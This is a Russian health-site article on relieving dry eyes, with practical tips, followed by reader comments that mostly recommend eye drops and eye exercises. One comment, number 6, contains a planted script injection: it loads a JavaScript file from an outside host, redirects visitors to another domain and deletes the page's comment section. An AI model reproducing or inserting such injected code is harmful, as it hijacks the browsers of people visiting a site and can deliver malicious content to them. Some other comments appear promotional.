Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Пять способов борьбы с су...  >>  Пять способов борьбы с сухостью глаз
 
Обратная связь
 

Пять способов борьбы с сухостью глаз

Размер шрифта
04 февраля 2013 11:59
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Вас часто беспокоит зуд, сухость и ощущение жжения в глазах? С возрастом выработка слезной жидкости снижается, поэтому и возникает ощущение сухости. Есть простые способы избавиться от неприятных ощущений.

способы борьбы с сухостью глаз

Снижение выработки слезной жидкости естественный процесс старения и чаще всего встречается у женщин после наступления менопаузы. Но возможными причинами могут быть и ношение контактных линз, аллергия, сухая погода, плохая косметика, длительная работа за компьютером.

Способы устранения сухости глаз:

  • Увлажняйте воздух. Установите увлажнители воздуха для поддержания хорошего климата, особенно в зимнее время. Перед чтением, работой за компьютером или вождением закапайте в глаза специальные капли.
  • Ешьте больше фруктов. Витамин А необходим для ваших глаз. Больше всего он содержится в моркови, картофеле, дыне, тыкве.
  • Побочный эффект от приема лекарств. Частое использование противоаллергических, мочегонных, снотворных и обезболивающих препаратов может привести к снижению выработки слезной жидкости. Обсудите с врачом возможность замены данного препарата на аналоги.
  • Носите солнцезащитные очки. Защита глаз от ультрафиолетового света, яркого солнца и ветра поможет вам сохранить здоровье ваших глаз.
  • Чаще отдыхайте. Если вы проводите много времени перед компьютером, давайте отдых глазам хотя бы раз в час. Для этого достаточно перевести на 20 секунд взгляд на удаленные объекты.

Если вы заметили, что ваши глаза красные, сухие и раздраженные больше 3-5 дней, следует обратиться к врачу. Возможными причинами могут быть более серьезные заболевания, такие как: ревматоидный артрит, красная волчанка, синдром Шегрена и синдром сухого глаза.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Margo

09 февраля 2013 в 04:42

Цитировать   |   Пожаловаться

Все правильно, тут не поспоришь, только я думаю и увлажняющие капли нужно с собой носить, потому что не всегда удается все правила выполнять при нашем ритме жизни. Я у офтальмолога когда на приеме была с этой проблемой, она посоветовала в качестве скорой помощи пользоваться увлажняющими каплями 

При длительной работе с компьютером часто возникает сухой конъюнктивит. Хорошо помимо капель помогает зажмуривание глаз. Каждые полчаса сидя делайте от 3 до 5 сильных зажмуриваний. В этот момент будет вырабатываться увлажняющий гель, из-за нехватки которого и возникает сухость. Зажмуривания создают комфортную обстановку для глаз, и в ближайшие 30-40 минут работы Вы можете ни о чём не беспокоиться.
С уважением,заведующая офтальмологическим отделением Евро-клиник, врач высшей категории Ильинская Марина Витальевна

3 - Кармелита

30 ноября 2014 в 13:47

Цитировать   |   Пожаловаться

А мне больше нравятся капли  быстрого и естественного увлажнения. у низ гиалуроновая кислота в составе, мне офтальмолог сказал, что в человеческой слезе она тоже есть, потому и капли при увлажнении по ощущениям, будто слезою закапали. Да и работать сразу же можно начинать, не надо лежать несколько минут с закрытыми глазами и ждать.

4 - Мечта

28 мая 2015 в 15:09

Цитировать   |   Пожаловаться

Еще можно делать специальные упражнения для глаз,но мне очень понравились капли Скулачева, очень хорошо помогают при сухости глаз, облегчение чувствуешь сразу, после первого закапывания.

5 - Гость

27 июня 2015 в 20:44

Цитировать   |   Пожаловаться

Да вот я тоже гимнастику для глаз регулярно делаю. Но на самом деле я -то еще и в линзах постоянно хожу. Так что изначально глаза сохнуть начали именно из-за них. Но я с проблемой с легкостью справилась - купила корнерегель. Проблем с нанесением никаких, мороки тоже, а результат просто отличный. Ни сухости, ни рези, ничего такого. Но гимнастику для глаз все равно делаю. И у компа целый день стараюсь не торчать. И вам советую=) тем более лето - гулять надо!

6 - zzzzzz

30 июня 2015 в 23:24

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

7 - Гость

13 июля 2015 в 18:16

Цитировать   |   Пожаловаться

я вот линзами пользуюсь и порой случается такая неприятность, как синдром сухого глаза. Этот гель справляется с этим быстро, глазам быстро легче становится.<span></span>

8 - Лялечка

22 октября 2016 в 21:39

Цитировать   |   Пожаловаться

Работаю постоянно за компьютером, и постоянно ношу с собой капли для предотвращения сухости глаз. Не всегда упражнения есть возможность сделать. Очень интересная статья

9 - Гость

03 декабря 2016 в 21:03

Цитировать   |   Пожаловаться

Работаю программистом постоянно устают глаза обычно капаю, вычитала еще гимнастику для глаз http://ozrenii.ru/ . спасибо за стаью

Статьи

       
Люди с повышенным внутриглазным давлением чаще разбиваются на машинах   Диагноз «шизофрения» можно поставить по движению глаз   Глаза расскажут о состоянии головного мозга   Лекарство от глаукомы помогает при облысении  
13 марта 2013Куда надо смотреть, чтобы понять, что думает человек 18 февраля 2013Люди с повышенным внутриглазным давлением чаще разбиваются на машинах
 
24 октября 2012Настоящее чудо: слепые смогут снова видеть 19 октября 2012Мужчины и женщины воспринимают мир по-разному
 

Слайдшоу

1
Мифы и факты о глазах
Продукты для здоровья глаз
Наглядное руководство по заболеваниям глаз

Тесты

Проверьте свое зрение
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.